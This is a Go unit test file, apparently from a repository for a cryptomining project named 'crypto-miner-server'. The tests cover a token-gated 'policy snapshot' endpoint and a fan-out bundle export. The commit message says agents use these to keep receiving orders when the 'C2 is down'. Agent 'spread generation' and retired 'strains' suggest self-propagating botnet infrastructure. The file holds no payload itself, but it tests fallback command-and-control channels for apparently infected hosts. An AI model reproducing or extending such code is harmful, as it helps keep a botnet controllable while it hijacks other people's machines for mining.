Files
AetherForge/server/internal/api/policy_snapshot_test.go
AetherForge f691270279
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add EventBridge policy fan-out for standalone degraded mode.
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
2026-06-07 10:10:16 -07:00

127 lines
3.6 KiB
Go

package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"path/filepath"
"testing"
"time"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func TestBuildPolicySnapshotGenesisAndHospice(t *testing.T) {
d, err := dbpkg.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
now := time.Now().UTC()
if err := d.UpsertAgent(&models.Agent{
ID: "a1", Name: "A", IP: "10.0.1.1", Status: "online", LastSeen: now, SpreadGeneration: 3,
}); err != nil {
t.Fatal(err)
}
if err := d.UpsertAgent(&models.Agent{
ID: "a2", Name: "B", IP: "10.0.2.1", Status: "online", LastSeen: now, SpreadGeneration: 7,
}); err != nil {
t.Fatal(err)
}
if err := d.RetireStrain("dead-strain", "test", "unit", `{}`); err != nil {
t.Fatal(err)
}
snap, err := BuildPolicySnapshot(d, nil, PolicyFanoutConfig{
Token: "tok123",
PublicBaseURL: func() string { return "https://c2.example" },
})
if err != nil {
t.Fatal(err)
}
if snap.GenesisVersion != 7 {
t.Fatalf("genesis_version=%d want 7", snap.GenesisVersion)
}
if len(snap.HospiceList) == 0 {
t.Fatal("expected hospice list")
}
if snap.PolicyPollURL != "https://c2.example/api/v1/public/policy-snapshot/tok123" {
t.Fatalf("poll url=%q", snap.PolicyPollURL)
}
}
func TestPublicPolicySnapshotEndpoint(t *testing.T) {
d, err := dbpkg.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
h := NewPublicHandler(d, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
h.BindPolicySnapshot(
func() (PolicySnapshot, error) {
return PolicySnapshot{GenesisVersion: 2, HospiceList: []string{"s1"}}, nil
},
func() string { return "secret-token" },
)
r := chi.NewRouter()
r.Get("/public/policy-snapshot/{token}", h.PolicySnapshot)
req := httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/wrong", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("wrong token status=%d", rec.Code)
}
req = httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/secret-token", nil)
rec = httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body PolicySnapshot
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body.GenesisVersion != 2 || len(body.HospiceList) != 1 {
t.Fatalf("body=%+v", body)
}
}
func TestBuildFanoutBundleJSON(t *testing.T) {
snap := PolicySnapshot{GenesisVersion: 1, PolicyPollURL: "https://x/poll"}
raw, err := buildFanoutBundleJSON(PolicyFanoutConfig{Token: "abc"}, snap)
if err != nil {
t.Fatal(err)
}
var doc map[string]interface{}
if err := json.Unmarshal(raw, &doc); err != nil {
t.Fatal(err)
}
if doc["token"] != "abc" {
t.Fatalf("token=%v", doc["token"])
}
}
func TestExportPolicyFanoutZIP(t *testing.T) {
d, err := dbpkg.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
sh := NewSpreadHandler(d, t.TempDir(), filepath.Join("..", "..", ".."), NewWSHub(d))
sh.BindPolicyFanout(nil, func() PolicyFanoutConfig {
return PolicyFanoutConfig{Token: "t", PublicBaseURL: func() string { return "http://127.0.0.1:8989" }}
})
req := httptest.NewRequest(http.MethodPost, "/", bytes.NewReader([]byte(`{"webhook_url":"https://relay.example/hook"}`)))
rec := httptest.NewRecorder()
sh.ExportPolicyFanout(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
t.Fatalf("content-type=%q", ct)
}
}